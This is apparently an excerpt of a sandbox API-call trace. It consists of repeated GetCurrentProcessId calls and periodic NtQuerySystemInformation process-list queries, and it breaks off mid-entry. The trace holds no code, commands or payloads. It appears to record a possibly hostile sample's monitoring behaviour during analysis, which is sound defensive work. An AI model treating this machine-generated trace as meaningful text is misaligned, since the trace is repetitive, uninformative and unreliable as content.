[0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.639] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.640] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0213.641] GetCurrentProcessId () returned 0xbf4 [0214.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cbd0) returned 0x0 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.323] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.324] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.325] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0214.326] GetCurrentProcessId () returned 0xbf4 [0215.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cbd0) returned 0x0 [0215.010] GetCurrentProcessId () returned 0xbf4 [0215.010] GetCurrentProcessId () returned 0xbf4 [0215.010] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.011] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.012] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.013] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.014] GetCurrentProcessId () returned 0xbf4 [0215.684] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb80) returned 0x0 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.691] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.692] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.693] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0215.694] GetCurrentProcessId () returned 0xbf4 [0216.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb80) returned 0x0 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.364] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.365] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.366] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.367] GetCurrentProcessId () returned 0xbf4 [0216.368] GetCurrentProcessId () returned 0xbf4 [0216.368] GetCurrentProcessId () returned 0xbf4 [0216.368] GetCurrentProcessId () returned 0xbf4 [0216.368] GetCurrentProcessId () returned 0xbf4 [0216.368] GetCurrentProcessId () returned 0xbf4 [0216.368] GetCurrentProcessId () returned 0xbf4 [0216.368] GetCurrentProcessId () returned 0xbf4 [0216.368] GetCurrentProcessId () returned 0xbf4 [0216.368] GetCurrentProcessId () returned 0xbf4 [0217.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cbd0) returned 0x0 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.102] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] 